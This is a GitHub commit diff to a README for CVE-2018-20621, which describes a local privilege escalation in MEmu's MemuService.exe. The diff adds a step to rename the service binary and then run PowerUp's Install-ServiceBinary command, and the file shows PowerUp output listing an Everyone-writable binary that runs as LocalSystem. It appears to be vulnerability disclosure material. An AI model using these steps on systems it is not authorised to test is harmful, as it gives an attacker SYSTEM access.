Fix usage.

korallin · Jan 18, 2019 · ee14578 · ee14578
1 parent 6e82186
commit ee14578
Showing 1 changed file with 2 additions and 2 deletions.
diff --git a/CVE-2018-20621/README.md b/CVE-2018-20621/README.md
@@ -16,7 +16,7 @@ The MemuService.exe service binary is vulnerable to local privilege escalation t
 
 
 ### Usage/Exploitation
-Using PowerShellEmpire PowerUp `Install-ServiceBinary -Name 'MEmuSVC'`  
+Rename `C:\Program Files\Microvirt\MEmu\MemuService.exe` to `MemuService.exe.old`. Then using PowerShellEmpire PowerUp run `Install-ServiceBinary -Name 'MEmuSVC'`.  
 
 ### Detail
 ```
@@ -28,4 +28,4 @@ ModifiableFileIdentityReference : Everyone
 StartName                       : LocalSystem
 AbuseFunction                   : Install-ServiceBinary -Name 'MEmuSVC'
 CanRestart                      : False
-```
+```